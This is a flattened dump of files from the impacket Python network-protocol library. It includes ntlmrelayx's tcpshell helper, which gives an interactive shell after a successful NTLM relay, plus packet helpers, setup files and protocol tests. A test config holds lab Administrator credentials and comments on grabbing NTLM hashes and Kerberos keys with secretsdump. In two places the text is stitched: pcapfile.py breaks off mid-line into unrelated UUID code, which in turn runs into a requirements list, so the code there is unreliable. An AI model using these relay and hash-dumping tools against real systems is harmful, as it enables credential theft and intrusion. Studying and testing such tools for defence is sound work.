cert='/tmp/impacket.crt'): 52 | # Create a context, we don't really care about the SSL/TLS 53 | # versions used since it is only intended for local use and thus 54 | # doesn't have to be super-secure 55 | ctx = SSL.Context(SSL.SSLv23_METHOD) 56 | try: 57 | ctx.use_privatekey_file(cert) 58 | ctx.use_certificate_file(cert) 59 | except SSL.Error: 60 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 61 | generateImpacketCert(cert) 62 | ctx.use_privatekey_file(cert) 63 | ctx.use_certificate_file(cert) 64 | 65 | sslSocket = SSL.Connection(ctx, self.socksSocket) 66 | sslSocket.set_accept_state() 67 | 68 | # Now set this property back to the SSL socket instead of the regular one 69 | self.socksSocket = sslSocket 70 | -------------------------------------------------------------------------------- /impacket/impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # TCP interactive shell 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Launches a TCP shell for interactive use of clients 14 | # after successful relaying 15 | import socket 16 | #Default listen port 17 | port = 11000 18 | class TcpShell: 19 | def __init__(self): 20 | global port 21 | self.port = port 22 | #Increase the default port for the next attack 23 | port += 1 24 | 25 | def listen(self): 26 | #Set up the listening socket 27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | #Bind on localhost 29 | serversocket.bind(('127.0.0.1', self.port)) 30 | #Don't allow a backlog 31 | serversocket.listen(0) 32 | self.connection, host = serversocket.accept() 33 | #Create a file object from the socket 34 | self.socketfile = self.connection.makefile() 35 | -------------------------------------------------------------------------------- /impacket/impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/impacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | 8 | from impacket import structure 9 | 10 | O_ETH = 0 11 | O_IP = 1 12 | O_ARP = 1 13 | O_UDP = 2 14 | O_TCP = 2 15 | O_ICMP = 2 16 | O_UDP_DATA = 3 17 | O_ICMP_DATA = 3 18 | 19 | MAGIC = '"\xD4\xC3\xB2\xA1' 20 | 21 | class PCapFileHeader(structure.Structure): 22 | structure = ( 23 | ('magic', MAGIC), 24 | ('versionMajor', 'HHL', uuid[8:16]) 29 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 30 | 31 | def string_to_bin(uuid): 32 | matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid) 33 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 34 | uuid = pack('HHL', uuid4, uuid5, uuid6) 36 | return uuid 37 | 38 | def stringver_to_bin(s): 39 | (maj,min) = s.split('.') 40 | return pack('=0.2.3 4 | pycryptodomex 5 | pyOpenSSL>=0.16.2 6 | ldap3==2.5.1 7 | ldapdomaindump>=0.9.0 8 | flask>=1.0 9 | -------------------------------------------------------------------------------- /impacket/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # $Id$ 3 | 4 | import glob 5 | import os 6 | import platform 7 | 8 | from setuptools import setup 9 | 10 | PACKAGE_NAME = "impacket" 11 | 12 | if platform.system() != 'Darwin': 13 | data_files = [(os.path.join('share', 'doc', PACKAGE_NAME), ['README.md', 'LICENSE']+glob.glob('doc/*'))] 14 | else: 15 | data_files = [] 16 | 17 | def read(fname): 18 | return open(os.path.join(os.path.dirname(__file__), fname)).read() 19 | 20 | setup(name = PACKAGE_NAME, 21 | version = "0.9.20-dev", 22 | description = "Network protocols Constructors and Dissectors", 23 | url = "https://www.secureauth.com/labs/open-source-tools/impacket", 24 | author = "SecureAuth Corporation", 25 | author_email = "oss@secureauth.com", 26 | maintainer = "Alberto Solino", 27 | maintainer_email = "bethus@gmail.com", 28 | license = "Apache modified", 29 | long_description = read('README.md'), 30 | long_description_content_type="text/markdown", 31 | platforms = ["Unix","Windows"], 32 | packages=['impacket', 'impacket.dcerpc', 'impacket.examples', 'impacket.dcerpc.v5', 'impacket.dcerpc.v5.dcom', 33 | 'impacket.krb5', 'impacket.ldap', 'impacket.examples.ntlmrelayx', 34 | 'impacket.examples.ntlmrelayx.clients', 'impacket.examples.ntlmrelayx.servers', 35 | 'impacket.examples.ntlmrelayx.servers.socksplugins', 'impacket.examples.ntlmrelayx.utils', 36 | 'impacket.examples.ntlmrelayx.attacks'], 37 | scripts = glob.glob(os.path.join('examples', '*.py')), 38 | data_files = data_files, 39 | install_requires=['pyasn1>=0.2.3', 'pycryptodomex', 'pyOpenSSL>=0.13.1', 'six', 'ldap3==2.5.1', 'ldapdomaindump>=0.9.0', 'flask>=1.0'], 40 | extras_require={ 41 | 'pyreadline:sys_platform=="win32"': [], 42 | 'python_version<"2.7"': [ 'argparse' ], 43 | }, 44 | classifiers = [ 45 | "Programming Language :: Python :: 3.6", 46 | "Programming Language :: Python :: 2.7", 47 | "Programming Language :: Python :: 2.6", 48 | ] 49 | ) 50 | -------------------------------------------------------------------------------- /impacket/tests/ImpactPacket/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/tests/ImpactPacket/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /impacket/tests/ImpactPacket/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="python -m coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | -------------------------------------------------------------------------------- /impacket/tests/ImpactPacket/test_IP6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | #Impact test version 4 | try: 5 | from impacket import IP6_Address, IP6, ImpactDecoder 6 | except: 7 | pass 8 | 9 | #Standalone test version 10 | try: 11 | import sys 12 | sys.path.insert(0,"../..") 13 | import IP6_Address, IP6, ImpactDecoder 14 | except: 15 | pass 16 | 17 | import unittest 18 | 19 | class TestIP6(unittest.TestCase): 20 | 21 | def setUp(self): 22 | #Version 6, traffic class 72, flow label 148997, payload length 1500 23 | #next header 17 (UDP), hop limit 1 24 | #source addr FE80::78F8:89D1:30FF:256B 25 | #dest addr FF02::1:3 26 | self.binary_packet = [ 27 | 0x64, 0x82, 0x46, 0x05, 28 | 0x05, 0xdc, 0x11, 0x01, 29 | 0xfe, 0x80, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 31 | 0x78, 0xf8, 0x89, 0xd1, 32 | 0x30, 0xff, 0x25, 0x6b, 33 | 0xff, 0x02, 0x00, 0x00, 34 | 0x00, 0x00, 0x00, 0x00, 35 | 0x00, 0x00, 0x00, 0x00, 36 | 0x00, 0x01, 0x00, 0x03] 37 | 38 | def test_decoding(self): 39 | '''Test IP6 Packet decoding.''' 40 | 41 | 42 | d = ImpactDecoder.IP6Decoder() 43 | parsed_packet = d.decode(self.binary_packet) 44 | 45 | protocol_version = parsed_packet.get_ip_v() 46 | traffic_class = parsed_packet.get_traffic_class() 47 | flow_label = parsed_packet.get_flow_label() 48 | payload_length = parsed_packet.get_payload_length() 49 | next_header = parsed_packet.get_next_header() 50 | hop_limit = parsed_packet.get_hop_limit() 51 | source_address = parsed_packet.get_ip_src() 52 | destination_address = parsed_packet.get_ip_dst() 53 | 54 | self.assertEquals(protocol_version, 6, "IP6 parsing - Incorrect protocol version") 55 | self.assertEquals(traffic_class, 72, "IP6 parsing - Incorrect traffic class") 56 | self.assertEquals(flow_label, 148997, "IP6 parsing - Incorrect flow label") 57 | self.assertEquals(payload_length, 1500, "IP6 parsing - Incorrect payload length") 58 | self.assertEquals(next_header, 17, "IP6 parsing - Incorrect next header") 59 | self.assertEquals(hop_limit, 1, "IP6 parsing - Incorrect hop limit") 60 | self.assertEquals(source_address.as_string(), "FE80::78F8:89D1:30FF:256B", "IP6 parsing - Incorrect source address") 61 | self.assertEquals(destination_address.as_string(), "FF02::1:3", "IP6 parsing - Incorrect destination address") 62 | 63 | def test_creation(self): 64 | '''Test IP6 Packet creation.''' 65 | 66 | crafted_packet = IP6.IP6() 67 | crafted_packet.set_traffic_class(72) 68 | crafted_packet.set_flow_label(148997) 69 | crafted_packet.set_payload_length(1500) 70 | crafted_packet.set_next_header(17) 71 | crafted_packet.set_hop_limit(1) 72 | crafted_packet.set_ip_src("FE80::78F8:89D1:30FF:256B") 73 | crafted_packet.set_ip_dst("FF02::1:3") 74 | crafted_buffer = crafted_packet.get_bytes().tolist() 75 | self.assertEquals(crafted_buffer, self.binary_packet, "IP6 creation - Buffer mismatch") 76 | 77 | 78 | suite = unittest.TestLoader().loadTestsFromTestCase(TestIP6) 79 | unittest.TextTestRunner(verbosity=1).run(suite) 80 | -------------------------------------------------------------------------------- /impacket/tests/ImpactPacket/test_TCP_bug_issue7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactPacket import TCP, ImpactPacketException 7 | import unittest 8 | from threading import Thread 9 | 10 | class TestTCP(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # Dummy TCP header with "Maximum Segment Size" Option and zero length 14 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 15 | 16 | def test_01(self): 17 | 'Test TCP options parsing hangs' 18 | class it_hangs(Thread): 19 | def __init__(self): 20 | Thread.__init__(self) 21 | def run(self): 22 | try: 23 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ 24 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 25 | tcp = TCP(frame) 26 | except ImpactPacketException as e: 27 | if str(e) != "'TCP Option length is too low'": 28 | raise e 29 | except: 30 | pass 31 | 32 | thread_hangs = it_hangs() 33 | thread_hangs.setDaemon(True) 34 | thread_hangs.start() 35 | 36 | thread_hangs.join(1.0) # 1 seconds timeout 37 | self.assertEqual(thread_hangs.isAlive(), False) 38 | #if thread_hang.isAlive(): 39 | 40 | 41 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) 42 | unittest.TextTestRunner(verbosity=1).run(suite) 43 | -------------------------------------------------------------------------------- /impacket/tests/SMB_RPC/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/tests/SMB_RPC/dcetests.cfg: -------------------------------------------------------------------------------- 1 | [global] 2 | 3 | [TCPTransport] 4 | # NetBIOS Name 5 | servername = 6 | # Targets IP 7 | machine = 172.16.123.232 8 | username = Administrator 9 | password = test 10 | # NTLM Hash, you can grab it with secretsdump 11 | hashes = 12 | # Kerberos AES 256 Key, you can grab it with secretsdump 13 | aesKey256 = 14 | # Kerberos AES 128 Key, you can grab it with secretsdump 15 | aesKey128 = 16 | # It must be the domain FQDN 17 | domain = CONTOSO.COM 18 | # This need to be a domain joined machine NetBIOS name 19 | machineuser= 20 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 21 | machineuserhashes = 22 | 23 | [SMBTransport] 24 | # NetBIOS Name 25 | servername = 26 | # Targets IP 27 | machine = 172.16.123.232 28 | username = Administrator 29 | password = test 30 | # NTLM Hash, you can grab it with secretsdump 31 | hashes = 32 | # Kerberos AES 256 Key, you can grab it with secretsdump 33 | aesKey256 = 34 | # Kerberos AES 128 Key, you can grab it with secretsdump 35 | aesKey128 = 36 | # It must be the domain FQDN 37 | domain = CONTOSO.COM 38 | # This need to be a domain joined machine NetBIOS name 39 | machineuser= 40 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 41 | machineuserhashes = 42 | -------------------------------------------------------------------------------- /impacket/tests/SMB_RPC/rundce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../../:$PYTHONPATH 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="python -m coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | python -V > /tmp/version 14 | 15 | $RUN test_rpcrt.py 16 | $RUN test_scmr.py 17 | $RUN test_epm.py 18 | $RUN test_samr.py 19 | $RUN test_wkst.py 20 | $RUN test_srvs.py 21 | $RUN test_lsad.py 22 | $RUN test_lsat.py 23 | $RUN test_rrp.py 24 | $RUN test_mgmt.py 25 | $RUN test_ndr.py 26 | $RUN test_drsuapi.py 27 | $RUN test_wmi.py 28 | $RUN test_dcomrt.py 29 | $RUN test_even6.py 30 | $RUN test_bkrp.py 31 | $RUN test_tsch.py 32 | $RUN test_dhcpm.py 33 | $RUN test_secretsdump.py 34 | $RUN test_nrpc.py 35 | $RUN test_rprn.py 36 | -------------------------------------------------------------------------------- /impacket/tests/SMB_RPC/test_nmb.py: -------------------------------------------------------------------------------- 1 | try: 2 | import ConfigParser 3 | except ImportError: 4 | import configparser as ConfigParser 5 | import unittest 6 | 7 | from impacket import nmb 8 | from impacket.structure import hexdump 9 | 10 | 11 | class NMBTests(unittest.TestCase): 12 | def create_connection(self): 13 | pass 14 | 15 | def test_encodedecodename(self): 16 | name = 'THISISAVERYLONGLONGNAME' 17 | encoded = nmb.encode_name(name,nmb.TYPE_SERVER,None) 18 | hexdump(encoded) 19 | decoded = nmb.decode_name(encoded) 20 | hexdump(bytearray(decoded[1],'utf-8')) 21 | 22 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 23 | self.assertTrue(name[:15]==decoded[1].strip()) 24 | 25 | # ToDo: Fix the scope functionality 26 | #namescope = 'MYNAME' 27 | #encoded = nmb.encode_name(namescope,nmb.TYPE_SERVER,'SCOPE') 28 | #hexdump(encoded) 29 | #decoded = nmb.decode_name(encoded) 30 | #hexdump(decoded) 31 | 32 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 33 | #self.assertTrue(namescope[:15]==decoded[1].strip()) 34 | 35 | def test_getnetbiosname(self): 36 | n = nmb.NetBIOS() 37 | res = n.getnetbiosname(self.machine) 38 | print(repr(res)) 39 | self.assertTrue( self.serverName, res) 40 | 41 | def test_getnodestatus(self): 42 | n = nmb.NetBIOS() 43 | resp = n.getnodestatus(self.serverName.upper(), self.machine) 44 | for r in resp: 45 | r.dump() 46 | print(resp) 47 | 48 | def test_gethostbyname(self): 49 | n = nmb.NetBIOS() 50 | n.set_nameserver(self.serverName) 51 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) 52 | print((resp.entries)) 53 | 54 | def test_name_registration_request(self): 55 | n = nmb.NetBIOS() 56 | # ToDo: Look at this 57 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 58 | try: 59 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2') 60 | resp.dump() 61 | except Exception as e: 62 | print(str(e)) 63 | if str(e).find('NETBIOS') <= 0: 64 | raise e 65 | 66 | def test_name_query_request(self): 67 | n = nmb.NetBIOS() 68 | # ToDo: Look at this 69 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 70 | resp = n.name_query_request(self.serverName, self.machine) 71 | print((resp.entries)) 72 | 73 | class NetBIOSTests(NMBTests): 74 | def setUp(self): 75 | NMBTests.setUp(self) 76 | # Put specific configuration for target machine with SMB1 77 | configFile = ConfigParser.ConfigParser() 78 | configFile.read('dcetests.cfg') 79 | self.serverName = configFile.get('SMBTransport', 'servername') 80 | self.machine = configFile.get('SMBTransport', 'machine') 81 | 82 | if __name__ == "__main__": 83 | suite = unittest.TestLoader().loadTestsFromTestCase(NetBIOSTests) 84 | unittest.TextTestRunner(verbosity=1).run(suite) 85 | -------------------------------------------------------------------------------- /impacket/tests/SMB_RPC/test_spnego.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from impacket import smb 4 | 5 | class Test(unittest.TestCase): 6 | def setUp(self): 7 | self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 8 | 9 | self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b' 10 | 11 | self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00' 12 | 13 | self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d' 14 | 15 | self.negTokenResp3 = b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00' 16 | 17 | def test_negTokenInit(self): 18 | token = smb.SPNEGO_NegTokenInit() 19 | token.fromString(self.negTokenInit) 20 | self.assertTrue(self.negTokenInit, token.getData()) 21 | 22 | def test_negTokenInit2(self): 23 | token = smb.SPNEGO_NegTokenInit() 24 | token.fromString(self.negTokenInit2) 25 | self.assertTrue(self.negTokenInit2, token.getData()) 26 | 27 | def test_negTokenResp1(self): 28 | token = smb.SPNEGO_NegTokenResp() 29 | token.fromString(self.negTokenResp1) 30 | self.assertTrue(self.negTokenResp1, token.getData()) 31 | 32 | def test_negTokenResp2(self): 33 | token = smb.SPNEGO_NegTokenResp() 34 | token.fromString(self.negTokenResp2) 35 | self.assertTrue(self.negTokenResp2, token.getData()) 36 | 37 | def test_negTokenResp3(self): 38 | token = smb.SPNEGO_NegTokenResp() 39 | token.fromString(self.negTokenResp3) 40 | self.assertTrue(self.negTokenResp3, token.getData()) 41 | 42 | if __name__ == "__main__": 43 | unittest.main() 44 | -------------------------------------------------------------------------------- /impacket/tests/coveragerc: -------------------------------------------------------------------------------- 1 | # .coveragerc to control coverage.py 2 | [run] 3 | branch = True 4 | source = impacket 5 | omit = *remcom* 6 | *.tox* 7 | 8 | [report] 9 | # Regexes for lines to exclude from consideration 10 | exclude_lines = 11 | # Have to re-enable the standard pragma 12 | pragma: no cover 13 | 14 | # Don't complain about missing debug-only code: 15 | if self\.debug 16 | 17 | # Don't complain if tests don't hit defensive assertion code: 18 | raise AssertionError 19 | raise NotImplementedError 20 | 21 | # Don't complain if non-runnable code isn't run: 22 | if 0: 23 | if __name__ == .__main__.: 24 | 25 | ignore_errors = True 26 | 27 | [html] 28 | directory = coverage_html_report 29 | -------------------------------------------------------------------------------- /impacket/tests/dot11/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /impacket/tests/dot11/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | export PYTHONPATH=../..:$PYTHONPATH 4 | 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="python -m coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | total=0 14 | ok=0 15 | failed=0 16 | for file in `ls *.py` ; do 17 | echo $separator 18 | echo Executing $file 19 | latest=$( 20 | $RUN $file 2>&1 | { 21 | while read line; do 22 | echo " $line" 1>&2 23 | latest="$line" 24 | done 25 | echo $latest 26 | } 27 | ) 28 | #echo Latest ${latest} 29 | result=${latest:0:6} 30 | if [ "$result" = "FAILED" ] 31 | then 32 | (( failed++ )) 33 | elif [ "$result" = "OK" ] 34 | then 35 | (( ok++ )) 36 | else 37 | echo "WARNING: Unknown result!!!!!" 38 | (( failed++ )) 39 | fi 40 | 41 | (( total++ )) 42 | done 43 | echo $separator 44 | echo Summary: 45 | echo " OK $ok/$total" 46 | echo " $failed FAILED" 47 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_Dot11Base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11, Dot11Types 7 | import unittest 8 | 9 | class TestDot11Common(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # Frame control field 13 | a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 14 | self.dot11fc=Dot11(a) 15 | 16 | def test_01_HeaderSize(self): 17 | 'Test Header Size field' 18 | self.assertEqual(self.dot11fc.get_header_size(), 2) 19 | 20 | def test_01_TailSize(self): 21 | 'Test Tail Size field' 22 | self.assertEqual(self.dot11fc.get_tail_size(), 4) 23 | 24 | def test_02_Version(self): 25 | 'Test Version field' 26 | self.assertEqual(self.dot11fc.get_version(), 0) 27 | self.dot11fc.set_version(3) 28 | self.assertEqual(self.dot11fc.get_version(), 3) 29 | 30 | def test_03_Type(self): 31 | 'Test Type field' 32 | self.assertEqual(self.dot11fc.get_type(), 1) 33 | self.dot11fc.set_type(3) 34 | self.assertEqual(self.dot11fc.get_type(), 3) 35 | 36 | def test_04_SubType(self): 37 | 'Test Subtype field' 38 | self.assertEqual(self.dot11fc.get_subtype(),13) 39 | self.dot11fc.set_subtype(5) 40 | self.assertEqual(self.dot11fc.get_subtype(),5) 41 | 42 | def test_05_ToDS(self): 43 | 'Test toDS field' 44 | self.assertEqual(self.dot11fc.get_toDS(),0) 45 | self.dot11fc.set_toDS(1) 46 | self.assertEqual(self.dot11fc.get_toDS(),1) 47 | 48 | def test_06_FromDS(self): 49 | 'Test fromDS field' 50 | self.assertEqual(self.dot11fc.get_fromDS(),0) 51 | self.dot11fc.set_fromDS(1) 52 | self.assertEqual(self.dot11fc.get_fromDS(),1) 53 | 54 | def test_07_MoreFrag(self): 55 | 'Test More Frag field' 56 | self.assertEqual(self.dot11fc.get_moreFrag(),0) 57 | self.dot11fc.set_moreFrag(1) 58 | self.assertEqual(self.dot11fc.get_moreFrag(),1) 59 | 60 | def test_08_Retry(self): 61 | 'Test Retry field' 62 | self.assertEqual(self.dot11fc.get_retry(),0) 63 | self.dot11fc.set_retry(1) 64 | self.assertEqual(self.dot11fc.get_retry(),1) 65 | 66 | def test_09_PowerManagement(self): 67 | 'Test Power Management field' 68 | self.assertEqual(self.dot11fc.get_powerManagement(),0) 69 | self.dot11fc.set_powerManagement(1) 70 | self.assertEqual(self.dot11fc.get_powerManagement(),1) 71 | 72 | def test_10_MoreData(self): 73 | 'Test More Data field' 74 | self.assertEqual(self.dot11fc.get_moreData(),0) 75 | self.dot11fc.set_moreData(1) 76 | self.assertEqual(self.dot11fc.get_moreData(),1) 77 | 78 | # def test_11_WEP(self): 79 | # 'Test WEP field' 80 | # self.assertEqual(self.dot11fc.get_WEP(),0) 81 | # self.dot11fc.set_WEP(1) 82 | # self.assertEqual(self.dot11fc.get_WEP(),1) 83 | 84 | 85 | def test_12_Order(self): 86 | 'Test Order field' 87 | self.assertEqual(self.dot11fc.get_order(),0) 88 | self.dot11fc.set_order(1) 89 | self.assertEqual(self.dot11fc.get_order(),1) 90 | 91 | def test_13_latest(self): 92 | 'Test complete frame hexs' 93 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 94 | self.dot11fc.set_order(1) 95 | self.dot11fc.set_moreData(1) 96 | self.dot11fc.set_retry(1) 97 | self.dot11fc.set_fromDS(1) 98 | 99 | frame=self.dot11fc.get_packet() 100 | 101 | self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') 102 | 103 | 104 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common) 105 | unittest.TextTestRunner(verbosity=1).run(suite) 106 | -------------------------------------------------------------------------------- /impacket/tests/dot11/test_Dot11Decoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types 7 | from six import PY2 8 | import unittest 9 | 10 | class TestDot11Decoder(unittest.TestCase): 11 | 12 | def setUp(self): 13 | self.WEPKey=None #Unknown 14 | self.WEPData=b'\x08\x41\x3a\x01\x00\x17\x3f\x44\x4f\x96\x00\x13\xce\x67\x0e\x73\x00\x17\x3f\x44\x4f\x96\xb0\x04\xeb\xcd\x8b\x00\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17\xdd\xb5\xd4\x35' 15 | dot11_decoder = Dot11Decoder() 16 | self.in0=dot11_decoder.decode(self.WEPData) 17 | self.in1=self.in0.child() 18 | self.in2=self.in1.child() 19 | 